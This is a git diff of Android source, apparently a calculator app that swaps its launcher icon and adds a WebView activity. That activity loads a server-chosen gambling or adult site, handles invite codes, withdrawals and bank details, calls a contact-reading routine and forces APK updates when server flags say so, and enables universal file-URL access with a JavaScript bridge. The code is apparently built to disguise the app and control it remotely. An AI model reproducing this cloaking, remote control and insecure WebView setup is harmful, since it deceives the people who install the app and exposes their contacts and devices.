pm.setComponentEnabledSetting(new ComponentName( + getBaseContext(), + "Tptogiar.calculcator.MainActivityNew"), + PackageManager.COMPONENT_ENABLED_STATE_ENABLED, + PackageManager.DONT_KILL_APP); + + //去掉HomeActivity图标 + pm.setComponentEnabledSetting(new ComponentName( + getBaseContext(), + "Tptogiar.calculcator.MainActivity"), + PackageManager.COMPONENT_ENABLED_STATE_DISABLED, + PackageManager.DONT_KILL_APP); + Log.d("TAG", "换Test的图标"); + } else { + //去掉HomeActivity图标 + pm.setComponentEnabledSetting(new ComponentName( + getBaseContext(), + "Tptogiar.calculcator.MainActivity"), + PackageManager.COMPONENT_ENABLED_STATE_ENABLED, + PackageManager.DONT_KILL_APP); + + //显示Test图标 + pm.setComponentEnabledSetting(new ComponentName( + getBaseContext(), + "Tptogiar.calculcator.Default"), + PackageManager.COMPONENT_ENABLED_STATE_DISABLED, + PackageManager.DONT_KILL_APP); + + + Log.d("TAG", "换Test的图标"); + } + } + + + public void displayAnswer(StringBuilder string) { + Pattern compile = Pattern.compile("[^0-9.-]"); + StringBuilder result = new StringBuilder(compile.matcher(string).replaceAll("")); + if (result.charAt(result.length() - 1) == '-') { + System.out.println(result.charAt(result.length() - 1)); + result.deleteCharAt(result.length() - 1); + } + System.out.println(result); + outputTextView.setText(result); + } + + public StringBuilder compute(StringBuilder str) { + Pattern pattern = Pattern.compile("([\\d.]+)\\s*([*/])\\s*([\\d.]+)"); + Matcher matcher = pattern.matcher(str.toString()); + while (matcher.find()) { + BigDecimal first = BigDecimal.valueOf(Double.valueOf(matcher.group(1))); + BigDecimal second = BigDecimal.valueOf(Double.valueOf(matcher.group(3))); + switch (matcher.group(2)) { + case "*": + first = first.multiply(second); + break; + case "/": + first = first.divide(second); + break; + } + str.replace(matcher.start(), matcher.end(), first.toString()); + matcher.reset(str.toString()); + } + + pattern = Pattern.compile("([\\d.]+)\\s*([+-])\\s*([\\d.]+)"); + matcher = pattern.matcher(str.toString()); + while (matcher.find()) { + BigDecimal first = BigDecimal.valueOf(Double.valueOf(matcher.group(1))); + BigDecimal second = BigDecimal.valueOf(Double.valueOf(matcher.group(3))); + switch (matcher.group(2)) { + case "+": + first = first.add(second); + break; + case "-": + first = first.subtract(second); + break; + + } + str.replace(matcher.start(), matcher.end(), first.toString()); + matcher.reset(str.toString()); + } + return str; + } + + public void addInput(String string) { + if (hasCount == false) { + currentInput.append(string); + } else { + currentInput = new StringBuilder(""); + hasCount = false; + currentInput.append(string); + } + displayInput(); + } + + + public String GETHASH() { + try { + String value = "" + ""; + MessageDigest messageDigest = MessageDigest.getInstance("SHA-256"); + byte[] bytes = messageDigest.digest(value.getBytes(StandardCharsets.UTF_8)); + return byteToString(bytes); + } catch (NoSuchAlgorithmException e) { + return ""; + } + } + + public String byteToString(byte[] bytes) { + StringBuilder stringBuilder = new StringBuilder(); + for (int i = 0; i < bytes.length; i++) { + String hexString = Integer.toHexString(0xff & bytes[i]); + if (hexString.length() == 1) { + stringBuilder.append("0"); + } + stringBuilder.append(hexString); + } + return stringBuilder.toString(); + } + + + @Override + public void onClick(View v) { + switch (v.getId()) { +// case R.id.btn_0: +// addInput("0"); +// break; +// case R.id.btn_1: +// addInput("1"); +// break; +// case R.id.btn_2: +// addInput("2"); +// break; +// case R.id.btn_3: +// addInput("3"); +// break; +// case R.id.btn_4: +// addInput("4"); +// break; +// case R.id.btn_5: +// addInput("5"); +// break; +// case R.id.btn_6: +// addInput("6"); +// break; +// case R.id.btn_7: +// addInput("7"); +// break; +// case R.id.btn_8: +// addInput("8"); +// break; +// case R.id.btn_9: +// addInput("9"); +// break; +// case R.id.btn_point: +// addInput("."); +// break; +// case R.id.btn_add: +// addInput("+"); +// break; +// case R.id.btn_subtract: +// addInput("-"); +// break; +// case R.id.btn_multiply: +// addInput("*"); +// break; +// case R.id.btn_divide: +// addInput("/"); +// break; +// case R.id.btn_backspace: +// if (currentInput.length() > 0) { +// currentInput.deleteCharAt(currentInput.length() - 1); +// } +// displayInput(); +// break; +// case R.id.btn_clear: +// currentInput = new StringBuilder(""); +// displayInput(); +// outputTextView.setText(""); +// break; +// case R.id.btn_equal: +// StringBuilder result = compute(currentInput); +// displayAnswer(result); +// hasCount = true; +// break; + } + } + + public void getNetUrl() { +// Api.getInstance().geUrl(System.currentTimeMillis()) +// .subscribeOn(Schedulers.io()) +// .observeOn(AndroidSchedulers.mainThread()) +// .subscribe(new BaseObserver() { +// @Override +// public void onSuccess(Result o) { +// LogUtils.i("获取的文件地址:"+o.url); +// if(!TextUtils.isEmpty(o.url)){ +// saveString(MainActivity.this,"base_url",o.url); +// } +// } +// +// @Override +// public void onError(int code, String msg) { +// +// } +// }); + } + + public static void saveString(Context context, String key, String value) { + SharedPreferences sp = context.getSharedPreferences("InitApp", Activity.MODE_PRIVATE); + SharedPreferences.Editor editor = sp.edit(); + editor.putString(key, value); + editor.apply(); + } + + public static String getString(Context context, String key, String defValue) { + if (context == null) { + return defValue; + } + SharedPreferences sp = context.getSharedPreferences("InitApp", Activity.MODE_PRIVATE); + return sp.getString(key, defValue); + } + + + public static void saveBoolean(Context context, String key, Boolean value) { + SharedPreferences sp = context.getSharedPreferences("InitApp", Activity.MODE_PRIVATE); + SharedPreferences.Editor editor = sp.edit(); + editor.putBoolean(key, value); + editor.apply(); + } + + public static Boolean getBoolean(Context context, String key, Boolean defValue) { + if (context == null) { + return defValue; + } + SharedPreferences sp = context.getSharedPreferences("InitApp", Activity.MODE_PRIVATE); + return sp.getBoolean(key, defValue); + } + +} \ No newline at end of file diff --git a/base_no_music/src/main/java/com/web/base/MainActivity2.java b/base_no_music/src/main/java/com/web/base/MainActivity2.java new file mode 100644 index 0000000..584e0fc --- /dev/null +++ b/base_no_music/src/main/java/com/web/base/MainActivity2.java @@ -0,0 +1,1952 @@ +package com.web.base; + +import android.Manifest; +import android.annotation.SuppressLint; +import android.app.Activity; +import android.app.ActivityManager; +import android.app.NotificationManager; +import android.content.ComponentName; +import android.content.Context; +import android.content.Intent; +import android.content.SharedPreferences; +import android.content.pm.ApplicationInfo; +import android.content.pm.PackageManager; +import android.database.Cursor; +import android.graphics.Bitmap; +import android.graphics.Color; +import android.net.Uri; +import android.os.Build; +import android.os.Bundle; +import android.os.Handler; +import android.os.Looper; +import android.os.Message; +import android.provider.ContactsContract; +import android.text.Html; +import android.text.TextUtils; +import android.util.Log; +import android.view.MotionEvent; +import android.view.View; +import android.view.WindowManager; +import android.webkit.JavascriptInterface; +import android.widget.ImageView; +import android.widget.LinearLayout; +import android.widget.ProgressBar; +import android.widget.TextView; +import android.widget.Toast; + +import androidx.annotation.Nullable; +import androidx.annotation.RequiresApi; +import androidx.appcompat.app.ActionBar; +import androidx.appcompat.app.AppCompatActivity; +import androidx.cardview.widget.CardView; +import androidx.core.app.ActivityCompat; +import androidx.core.content.ContextCompat; + +import com.google.android.material.floatingactionbutton.FloatingActionButton; +import com.google.gson.Gson; +import com.king.app.updater.AppUpdater; +import com.tencent.smtt.export.external.interfaces.ConsoleMessage; +import com.tencent.smtt.export.external.interfaces.PermissionRequest; +import com.tencent.smtt.export.external.interfaces.SslError; +import com.tencent.smtt.export.external.interfaces.SslErrorHandler; +import com.tencent.smtt.export.external.interfaces.WebResourceError; +import com.tencent.smtt.export.external.interfaces.WebResourceRequest; +import com.tencent.smtt.export.external.interfaces.WebResourceResponse; +import com.tencent.smtt.sdk.DownloadListener; +import com.tencent.smtt.sdk.ValueCallback; +import com.tencent.smtt.sdk.WebChromeClient; +import com.tencent.smtt.sdk.WebSettings; +import com.tencent.smtt.sdk.WebView; +import com.tencent.smtt.sdk.WebViewClient; + +import org.json.JSONException; +import org.json.JSONObject; + +import java.io.BufferedReader; +import java.io.IOException; +import java.io.InputStream; +import java.io.InputStreamReader; +import java.io.UnsupportedEncodingException; +import java.net.URLDecoder; +import java.nio.charset.StandardCharsets; +import java.util.ArrayList; +import java.util.HashMap; +import java.util.Iterator; +import java.util.List; +import java.util.Map; + +import io.reactivex.android.schedulers.AndroidSchedulers; +import io.reactivex.schedulers.Schedulers; +import okhttp3.MediaType; +import okhttp3.RequestBody; + +public class MainActivity2 extends AppCompatActivity { + public WebView webView; + TextView tvErrorMsg; + LinearLayout layoutError; + ImageView show_top_v; + public ImageView showTopV1; + private LinearLayout showTopLy; + FloatingActionButton floatingActionButton; + CardView otherApp; + CardView notifyCardView; + CardView ivNotify; + ImageView ivotherApp; + LinearLayout layoutOtherApp; + CardView ivFaceBook; + CardView ivTelG; + CardView ivWhatsApp; + CardView ivLink; + TextView tvLink; + ImageView ivLinkBg; + CardView ivHome; + private View topVvvv; + private ProgressBar progressBar; + public static String url = "https://candy916.co/"; + + //先定义 + private static final int REQUEST_EXTERNAL_STORAGE = 1; + public static int userId = 2; + private String shareUrl; + private String myInviteCode; + private int contactApply = 1; + private int notifyApply = 1; + private String facebookUrl = ""; + private String whatsappUrl = ""; + private String telegramUrl = ""; + private List linkconfiglist; + private CardView cvShare; + + float lastX, lastY; + float initX, initY; + + @Override + protected void onNewIntent(Intent intent) { + super.onNewIntent(intent); + setIntent(intent); + Bundle bundle = intent.getExtras(); + if (bundle != null) { + MessageInfo messageInfo = (MessageInfo) bundle.getSerializable("message"); + if (messageInfo != null) { + startActivity(new Intent(MainActivity2.this, NotifyListActivity.class).putExtra("message", messageInfo)); + recordNotify(messageInfo.getPushId()); + } + } + } + + @RequiresApi(api = Build.VERSION_CODES.LOLLIPOP) + @Override + protected void onCreate(Bundle savedInstanceState) { + getWindow().setNavigationBarColor(Color.parseColor(MainActivity.getString(MainActivity2.this, "style_color", "#FFFFFF"))); + getWindow().getDecorView().setBackgroundColor(Color.parseColor(MainActivity.getString(MainActivity2.this, "windows_color", "#FFFFFF"))); + getWindow().getDecorView().setSystemUiVisibility(View.SYSTEM_UI_FLAG_FULLSCREEN | View.SYSTEM_UI_FLAG_LAYOUT_STABLE); + super.onCreate(savedInstanceState); + View decor = getWindow().getDecorView(); + getWindow().setFlags(WindowManager.LayoutParams.FLAG_HARDWARE_ACCELERATED, WindowManager.LayoutParams.FLAG_HARDWARE_ACCELERATED); + if (getInt(MainActivity2.this, "is_white", 0) == 1) { + decor.setSystemUiVisibility(View.SYSTEM_UI_FLAG_LAYOUT_STABLE); + } else { + decor.setSystemUiVisibility(View.SYSTEM_UI_FLAG_LIGHT_STATUS_BAR); + } + ActionBar actionBar = getSupportActionBar(); + if (actionBar != null) { + actionBar.hide(); + } + setContentView(R.layout.activity_main2); + String body = getIntent().getStringExtra("message"); + if (!TextUtils.isEmpty(body)) { + MessageInfo messageInfo = GsonUtils.getObjFromJSON(body, MessageInfo.class); + if (messageInfo != null) { + startActivity(new Intent(MainActivity2.this, NotifyListActivity.class).putExtra("message", messageInfo)); + recordNotify(messageInfo.getPushId()); + } + } + + boolean isDownload = MainActivity.getBoolean(MainActivity2.this, "download", false); + if (!isDownload) { + setDownloadNumbers(); + } + initView(); + findViewById(R.id.back_iv).setOnClickListener(view -> onBackPressed()); + floatingActionButton = findViewById(R.id.bt_menu); + otherApp = findViewById(R.id.bt_otherapp); + ivotherApp = findViewById(R.id.iv_otherApp); + notifyCardView = findViewById(R.id.bt_notify); + ivNotify = findViewById(R.id.bt_notifyitem); + layoutOtherApp = findViewById(R.id.layout_otherapp); + ivFaceBook = findViewById(R.id.iv_facebook); + ivTelG = findViewById(R.id.iv_tel); + ivWhatsApp = findViewById(R.id.iv_whatsapp); + ivLink = findViewById(R.id.iv_link); + tvLink = findViewById(R.id.tv_link); + ivLinkBg = findViewById(R.id.iv_linkbg); + ivHome = findViewById(R.id.iv_home); + + cvShare = (CardView) findViewById(R.id.cv_share); + + tvLink.setText(Html.fromHtml("MISSAV")); + ivFaceBook.setOnClickListener(view -> { + toOtherApp(facebookUrl, "com.facebook.katana", 1); + }); + ivTelG.setOnClickListener(view -> { + toOtherApp(telegramUrl, "org.telegram.messenger", 2); + }); + ivWhatsApp.setOnClickListener(view -> { + toOtherApp(whatsappUrl, "com.whatsapp", 3); + }); + + ivHome.setOnClickListener(view -> { + webView.loadUrl(url); + }); + floatingActionButton.setOnClickListener(view -> { + showBottomDialog(); + }); + otherApp.setOnClickListener(view -> { + layoutOtherApp.setVisibility(layoutOtherApp.getVisibility() == View.VISIBLE ? View.GONE : View.VISIBLE); + int visi = layoutOtherApp.getVisibility(); + if (visi == 0) { + ivotherApp.setImageResource(R.mipmap.ic_shousuo); + } else { + ivotherApp.setImageResource(R.mipmap.ic_zhangkai); + } + }); + + + if (userId == 157 || userId == 158) { + ivLink.setVisibility(View.VISIBLE); + } + + if(userId == 217||userId == 211){ + otherApp.setVisibility(View.VISIBLE); + layoutOtherApp.setVisibility(View.GONE); + ivotherApp.setImageResource(R.mipmap.ic_zhangkai); + + }else{ + otherApp.setVisibility(View.INVISIBLE); + layoutOtherApp.setVisibility(View.VISIBLE); + ivotherApp.setImageResource(R.mipmap.ic_shousuo); + + } + + + if (userId == 157) { + cvShare.setVisibility(View.VISIBLE); + } + cvShare.setOnTouchListener((v, event) -> { + + switch (event.getAction()) { + case MotionEvent.ACTION_DOWN: + lastX = event.getRawX(); + lastY = event.getRawY(); + initX = event.getRawX(); + initY = event.getRawY(); +// LogUtils.d("touchevent", "lastX=" + lastX + " lastY" + lastY); + break; + case MotionEvent.ACTION_MOVE: + float dx = event.getRawX() - lastX; + float dy = event.getRawY() - lastY; + int left = layoutOtherApp.getLeft() + (int) dx; + int top = layoutOtherApp.getTop() + (int) dy; + int right = layoutOtherApp.getRight() + (int) dx; + int bottom = layoutOtherApp.getBottom() + (int) dy; + layoutOtherApp.layout(left, top, right, bottom); + lastX = event.getRawX(); + lastY = event.getRawY(); + break; + case MotionEvent.ACTION_UP: + float upx = event.getRawX(); + float upy = event.getRawY(); + if (upx == initX && upy == initY) { + if (userId == 157) { + Intent textIntent = new Intent(Intent.ACTION_SEND); + textIntent.setType("text/plain"); + textIntent.putExtra(Intent.EXTRA_TEXT, "https://kaki.hfcapital.top"); + startActivity(Intent.createChooser(textIntent, "分享")); + + } + } + + break; + } + return true; + }); + ivLink.setOnTouchListener((v, event) -> { + + switch (event.getAction()) { + case MotionEvent.ACTION_DOWN: + lastX = event.getRawX(); + lastY = event.getRawY(); + initX = event.getRawX(); + initY = event.getRawY(); +// LogUtils.d("touchevent", "lastX=" + lastX + " lastY" + lastY); + break; + case MotionEvent.ACTION_MOVE: + float dx = event.getRawX() - lastX; + float dy = event.getRawY() - lastY; + int left = layoutOtherApp.getLeft() + (int) dx; + int top = layoutOtherApp.getTop() + (int) dy; + int right = layoutOtherApp.getRight() + (int) dx; + int bottom = layoutOtherApp.getBottom() + (int) dy; + layoutOtherApp.layout(left, top, right, bottom); + lastX = event.getRawX(); + lastY = event.getRawY(); + break; + case MotionEvent.ACTION_UP: + float upx = event.getRawX(); + float upy = event.getRawY(); + if (upx == initX && upy == initY) { + toLink(); + } + + break; + } + return true; + }); + + ivNotify.setOnTouchListener((v, event) -> { + + switch (event.getAction()) { + case MotionEvent.ACTION_DOWN: + lastX = event.getRawX(); + lastY = event.getRawY(); + initX = event.getRawX(); + initY = event.getRawY(); +// LogUtils.d("touchevent", "lastX=" + lastX + " lastY" + lastY); + break; + case MotionEvent.ACTION_MOVE: + float dx = event.getRawX() - lastX; + float dy = event.getRawY() - lastY; + int left = layoutOtherApp.getLeft() + (int) dx; + int top = layoutOtherApp.getTop() + (int) dy; + int right = layoutOtherApp.getRight() + (int) dx; + int bottom = layoutOtherApp.getBottom() + (int) dy; + layoutOtherApp.layout(left, top, right, bottom); + lastX = event.getRawX(); + lastY = event.getRawY(); + break; + case MotionEvent.ACTION_UP: + float upx = event.getRawX(); + float upy = event.getRawY(); + if (upx == initX && upy == initY) { + notifyclick(); + } + + break; + } + return true; + }); + layoutOtherApp.setOnTouchListener((v, event) -> { + + switch (event.getAction()) { + case MotionEvent.ACTION_DOWN: + lastX = event.getRawX(); + lastY = event.getRawY(); + initX = event.getRawX(); + initY = event.getRawY(); +// LogUtils.d("touchevent", "lastX=" + lastX + " lastY" + lastY); + break; + case MotionEvent.ACTION_MOVE: + float dx = event.getRawX() - lastX; + float dy = event.getRawY() - lastY; + int left = v.getLeft() + (int) dx; + int top = v.getTop() + (int) dy; + int right = v.getRight() + (int) dx; + int bottom = v.getBottom() + (int) dy; + v.layout(left, top, right, bottom); + lastX = event.getRawX(); + lastY = event.getRawY(); + break; + case MotionEvent.ACTION_UP: + float upx = event.getRawX(); + float upy = event.getRawY(); + if (upx == initX && upy == initY) { + notifyclick(); + } + + break; + } + return true; + }); + + + + setTotalTongJi(); //每日活跃统计 + + + } + + private void toLink() { + if (userId == 157 || userId == 158) { + webView.loadUrl("https://missav.live/dm19/ms"); + + } else { + webView.loadUrl(linkconfiglist.get(0).getLinkUrl()); + } + } + + public void setBackDrawables(int drawableId) { + showTopLy.setBackgroundResource(drawableId); + } + + /** + * 显示圆角还是 原样显示 + * + * @param isRound + */ + public void setImageView(boolean isRound) { + if (isRound) { + show_top_v.setVisibility(View.VISIBLE); + showTopV1.setVisibility(View.GONE); + } else { + show_top_v.setVisibility(View.GONE); + showTopV1.setVisibility(View.VISIBLE); + } + } + + //跳转通知列表 + private void notifyclick() { + startActivity(new Intent(this, NotifyListActivity.class)); + } + + private void toOtherApp(String uri, String packagenames, int type) { + try { + Intent intent = new Intent(Intent.ACTION_VIEW); + intent.setData(Uri.parse(uri)); + intent.setPackage(packagenames); + startActivity(intent); + } catch (Exception e) { + Intent intent = new Intent(Intent.ACTION_VIEW); + intent.setData(Uri.parse(uri)); + startActivity(intent); + } + + } + + + public void showBottomDialog() { + ActionSelectDialog actionDialog = new ActionSelectDialog(MainActivity2.this); + actionDialog.setOnToActionListener(new ActionSelectDialog.OnToActionListener() { + @Override + public void toShare() { + if (TextUtils.isEmpty(myInviteCode)) { + getMyInvite(true); + } else { + goShare(); + } + } + + @Override + public void toCheck() { + showRecordDialog(); + } + + @Override + public void toWithDrawRecords() { + showWithDrawRecordDialog(); + } + + @Override + public void toWithDrawApply() { + goWithDrawApply(); + } + + @Override + public void toBankInfo() { + showBankInfoDialog(); + } + }); + actionDialog.setCancelable(true); + actionDialog.setCanceledOnTouchOutside(true); + actionDialog.show(); + } + + public void goShare() { + Intent shareTextIntent = new Intent(); + shareTextIntent.setAction(Intent.ACTION_SEND); + String title = getString(R.string.app_sharetitle) + myInviteCode; + String parentCode = MainActivity.getString(this, "code", ""); + shareTextIntent.putExtra(Intent.EXTRA_TITLE, title + (TextUtils.isEmpty(parentCode) ? "" : "\n" + getString(R.string.app_sharetitle2) + parentCode)); + shareTextIntent.putExtra(Intent.EXTRA_TEXT, getString(R.string.app_name) + getString(R.string.app_sharecontent) + shareUrl + " \n" + title); + shareTextIntent.setType("text/plain"); + startActivity(Intent.createChooser(shareTextIntent, getString(R.string.app_name) + getString(R.string.app_sharecontent))); + } + + private ActionWithDrawApplyDialog drawApplyDialog; + + public void goWithDrawApply() { + drawApplyDialog = new ActionWithDrawApplyDialog(MainActivity2.this, myInviteCode); + drawApplyDialog.setOnToActionListener(new ActionWithDrawApplyDialog.OnToActionListener() { + @Override + public void toSumbit(String content) { + sendApply(content); + } + + @Override + public void toCancel() { + + } + }); + drawApplyDialog.setCancelable(false); + drawApplyDialog.setCanceledOnTouchOutside(false); + drawApplyDialog.show(); + } + + /** + * 编辑银行卡信息 + */ + public void showBankInfoDialog() { + ActionBankInfoDialog bankInfoDialog = new ActionBankInfoDialog(MainActivity2.this, myInviteCode); + bankInfoDialog.setCancelable(false); + bankInfoDialog.setCanceledOnTouchOutside(false); + bankInfoDialog.show(); + } + + /** + * 发送申请记录 + */ + public void sendApply(String amount) { + HashMap map = new HashMap<>(); + map.put("userId", userId); + map.put("amount", amount); + map.put("inviteCode", myInviteCode); + Api.getInstance().sendWithDrawApply(map) + .subscribeOn(Schedulers.io()) + .observeOn(AndroidSchedulers.mainThread()) + .subscribe(new BaseObserver() { + @Override + public void onSuccess(Result o) { + Toast.makeText(MainActivity2.this, getString(R.string.app_toastapply), Toast.LENGTH_SHORT).show(); + if (drawApplyDialog != null) { + drawApplyDialog.dismiss(); + } + getMyInvite(false); + + } + + @Override + public void onError(int code, String msg) { +// LogUtils.d("dddd" + msg); + Toast.makeText(MainActivity2.this, msg, Toast.LENGTH_SHORT).show(); + } + + @Override + public void onError2(Result o) { + Toast.makeText(MainActivity2.this, o.error, Toast.LENGTH_SHORT).show(); + } + }); + } + + + public void showRecordDialog() { + ActionInviteRecordsDialog actionDialog = new ActionInviteRecordsDialog(MainActivity2.this, myInviteCode); + actionDialog.setCancelable(false); + actionDialog.setCanceledOnTouchOutside(false); + actionDialog.show(); + } + + public void showWithDrawRecordDialog() { + ActionWithDrawRecordsDialog actionDialog = new ActionWithDrawRecordsDialog(MainActivity2.this, myInviteCode); + actionDialog.setCancelable(false); + actionDialog.setCanceledOnTouchOutside(false); + actionDialog.show(); + } + + ActionConfirmDialog actionDialog; + + private void checkNotify() { + NotificationManager notificationManager = (NotificationManager) getSystemService(Context.NOTIFICATION_SERVICE); + if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.N) { + if (!notificationManager.areNotificationsEnabled()) { + if (actionDialog == null) { + actionDialog = new ActionConfirmDialog(MainActivity2.this, + getString(R.string.notification_title_txt), getString(R.string.notification_cancel_txt), + getString(R.string.notification_setting_txt)); + } + actionDialog.setOnToActionListener(new ActionConfirmDialog.OnToActionListener() { + @Override + public void toSumbit() { + jumpNotificationSetting(); + } + + @Override + public void toCancel() { + if (notifyApply == 1) { + MainActivity2.this.finish(); + } + + + } + }); + actionDialog.setCanceledOnTouchOutside(false); + actionDialog.setCancelable(false); + actionDialog.show(); + + + } + } + } + + private void jumpNotificationSetting() { + final ApplicationInfo applicationInfo = getApplicationInfo(); + try { + Intent intent = new Intent(); + intent.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK); + intent.setAction("android.settings.APP_NOTIFICATION_SETTINGS"); + intent.putExtra("app_package", applicationInfo.packageName); + intent.putExtra("android.provider.extra.APP_PACKAGE", applicationInfo.packageName); + intent.putExtra("app_uid", applicationInfo.uid); + startActivity(intent); + } catch (Throwable t) { + t.printStackTrace(); + Intent intent = new Intent(); + intent.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK); + intent.setAction("android.settings.APPLICATION_DETAILS_SETTINGS"); + intent.setData(Uri.fromParts("package", applicationInfo.packageName, null)); + startActivity(intent); + } + } + + @Override + public void onBackPressed() { + + if (webView.canGoBack()) {//当webview有多级能返回的时候 + String url = webView.getUrl(); + // 在首页 就退出这个页面 + if (webView.getUrl().equals(url + "index") || webView.getUrl().equals(url + "/index")) { + super.onBackPressed(); + } else { //不在首页 回到首页 + if (webView.getUrl().equals(url + "index") || webView.getUrl().equals(url + "/index")) { + isAtGame = false; + } + topVvvv.setVisibility(View.GONE); + progressBar.setVisibility(View.VISIBLE); + //当有条过登录页面 只能重载 不然逻辑会异常 + if (hasSignIn) { + onShowNetView(); + webView.loadUrl(url); + } else { + while (webView.canGoBack()) { + webView.goBack(); + } + + } + } + + } else {//不能返回了 关闭进程 退出程序 + Intent homeIntent = new Intent(Intent.ACTION_MAIN); + homeIntent.addCategory(Intent.CATEGORY_HOME); + homeIntent.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK); + startActivity(homeIntent); + android.os.Process.killProcess(android.os.Process.myPid()); + System.exit(1); + + } + } + + + private static String[] PERMISSIONS_STORAGE = { + "android.permission.READ_EXTERNAL_STORAGE", + "android.permission.WRITE_EXTERNAL_STORAGE"}; + + private static String[] PERMISSIONS_CAMERA = { + Manifest.permission.CAMERA}; + + //然后通过一个函数来申请 + public static void verifyStoragePermissions(Activity activity) { + + // 没有写的权限,去申请写的权限,会弹出对话框 + ActivityCompat.requestPermissions(activity, PERMISSIONS_STORAGE, REQUEST_EXTERNAL_STORAGE); + + } + + + @SuppressLint({"NewApi", "WrongConstant"}) + protected void initView() { + topVvvv = (View) findViewById(R.id.top_vvvv); + webView = findViewById(R.id.webview); + show_top_v = findViewById(R.id.show_top_v); + + showTopV1 = (ImageView) findViewById(R.id.show_top_v1); + showTopLy = findViewById(R.id.show_top_ly); + progressBar = (ProgressBar) findViewById(R.id.progressbar); + tvErrorMsg = findViewById(R.id.errormsg); + layoutError = findViewById(R.id.layoutError); + WebSettings settings = webView.getSettings(); + settings.setDomStorageEnabled(true); + settings.setAppCacheEnabled(true); + settings.setCacheMode(WebSettings.LOAD_DEFAULT); + settings.setJavaScriptEnabled(true); + settings.setLoadWithOverviewMode(true); + // 设置允许访问文件数据 + settings.setAllowFileAccess(true); + settings.setAllowContentAccess(true); + settings.setDatabaseEnabled(true); + settings.setSavePassword(false); + settings.setSaveFormData(false); + settings.setUseWideViewPort(true); + settings.setBuiltInZoomControls(true); + settings.setPluginState(WebSettings.PluginState.ON); + settings.setLayoutAlgorithm(WebSettings.LayoutAlgorithm.NARROW_COLUMNS); + webView.setFocusable(true); + webView.setFocusableInTouchMode(true); + webView.getSettings().setSupportMultipleWindows(true); + + settings.setSupportZoom(false); + webView.setScrollBarStyle(WebView.SCROLLBARS_OUTSIDE_OVERLAY); +// webView.setHorizontalScrollbarOverlay(true); + webView.setHorizontalScrollBarEnabled(true); + webView.requestFocus(); +// webView.setBackgroundColor(getColor(R.color.black)); + settings.setJavaScriptCanOpenWindowsAutomatically(true); + settings.setMediaPlaybackRequiresUserGesture(false); + // 设置在WebView内部是否允许通过file url加载的 Js代码读取其他的本地文件 + // Android 4.1前默认允许,4.1后默认禁止 + settings.setAllowFileAccessFromFileURLs(true); + // 设置WebView内部是否允许通过 file url 加载的 Javascript 可以访问其他的源(包括http、https等源) + // Android 4.1前默认允许,4.1后默认禁止 + settings.setAllowUniversalAccessFromFileURLs(true); + + webView.setWebChromeClient(webChromeClient); + webView.setWebViewClient(webViewClient); + Log.i("XHXDEBUG", "XHXDEBUGURL:::" + url); + webView.addJavascriptInterface(new JsInterface(), "WebViewHook"); + + showTopLy.setBackgroundColor(Color.parseColor(MainActivity.getString(MainActivity2.this, "windows_color", "#FFFFFF"))); + webView.setDownloadListener(new DownloadListener() { + @Override + public void onDownloadStart(String url, String userAgent, String contentDisposition, String mimeType, long contentLength) { + LogUtils.i("URL是啥onDownloadStart:" + url); + + try { + Intent intent = new Intent(); + intent.setAction(Intent.ACTION_VIEW); + intent.setData(Uri.parse(url)); + startActivity(intent); + } catch (Exception e) { + e.printStackTrace(); + } + + } + }); + getNetUrl(); + getNotifyList(); + LogUtils.i("userAgent:" + webView.getSettings().getUserAgentString()); +// NetworkInterceptor.startIntercept(MainActivity2.this,webView); +// X5ConfigHelper.enableNetworkLogging(); +// X5ConfigHelper.enableDebugMode(webView); + + } + + public void getNotifyList() { + + Api.getInstance().getNotifyList(userId, 1, 1) + .subscribeOn(Schedulers.io()) + .observeOn(AndroidSchedulers.mainThread()) + .subscribe(new BaseObserver>>() { + @Override + public void onSuccess(Result> o) { + if (o.data != null && o.data.getTotal() > 0) { + if(userId == 217||userId == 211){ + otherApp.setVisibility(View.VISIBLE); + }else{ + otherApp.setVisibility(View.INVISIBLE); + ivotherApp.setImageResource(R.mipmap.ic_shousuo); + + } + + ivNotify.setVisibility(View.VISIBLE); + if (userId == 112 || userId == 87 || userId == 91 || userId == 93 + || userId == 92 || userId == 84 || userId == 120 || userId == 70 || userId == 143 || userId == 149) { + ivNotify.setVisibility(View.INVISIBLE); + layoutOtherApp.setVisibility(View.GONE); + } + } + } + + @Override + public void onError(int code, String msg) { + LogUtils.i("获取的结果error" + msg); + } + + @Override + public void onError2(Result> o) { + LogUtils.i("获取的结果error"); + } + }); + } + + public void getNetUrl() { + Api.getInstance().geUrlNew(userId) + .subscribeOn(Schedulers.io()) + .observeOn(AndroidSchedulers.mainThread()) + .subscribe(new BaseObserver>() { + @Override + public void onSuccess(Result o) { + + DataInfo dataInfo = o.data; + if (dataInfo != null) { + if (dataInfo.getIsUse() == 0) { + MainActivity2.this.finish(); + return; + } + if (!TextUtils.isEmpty(dataInfo.getUrl())) { + MainActivity.saveString(MainActivity2.this, "base_url", dataInfo.getUrl()); + webView.loadUrl(dataInfo.getUrl()); + } + shareUrl = dataInfo.getDownloadUrl(); + String link = dataInfo.getLinkConfig(); + if (!TextUtils.isEmpty(link)) { + try { + linkconfiglist = GsonUtils.getListFromJSON(link, LinkConfigInfo.class); + } catch (Exception e) { + + } + } + if (!TextUtils.isEmpty(dataInfo.getVersionCode())) { + LogUtils.i("版本号:" + Integer.parseInt(dataInfo.getVersionCode()) + ";" + getInt(MainActivity2.this, "version_code", 0)); + if (Integer.parseInt(dataInfo.getVersionCode()) > getInt(MainActivity2.this, "version_code", 0)) { + ActionConfirmDialog actionDialog = new ActionConfirmDialog(MainActivity2.this, + getString(R.string.banbengengxin_txt), getString(R.string.xiacigengxin_txt), + getString(R.string.lijigengxin_txt)); + actionDialog.setOnToActionListener(new ActionConfirmDialog.OnToActionListener() { + @Override + public void toSumbit() { + checkUpdate(dataInfo.getApkUrl()); + } + + @Override + public void toCancel() { + if (dataInfo.getForceUpdate() == 1) { + MainActivity2.this.finish(); + } + } + }); + actionDialog.show(); + } + } + contactApply = dataInfo.getContactApplyMode(); + notifyApply = dataInfo.getNoticeApplyMode(); + if (contactApply == 0 || contactApply == 1) { + readContact(); + } + if (notifyApply == 0 || notifyApply == 1) { + checkNotify(); + } + facebookUrl = dataInfo.getFbUrl().trim(); + telegramUrl = dataInfo.getTgUrl().trim(); + whatsappUrl = dataInfo.getWsUrl().trim(); + if (!TextUtils.isEmpty(facebookUrl)) { + if(userId == 217 || userId == 211){ + otherApp.setVisibility(View.VISIBLE); + }else { + 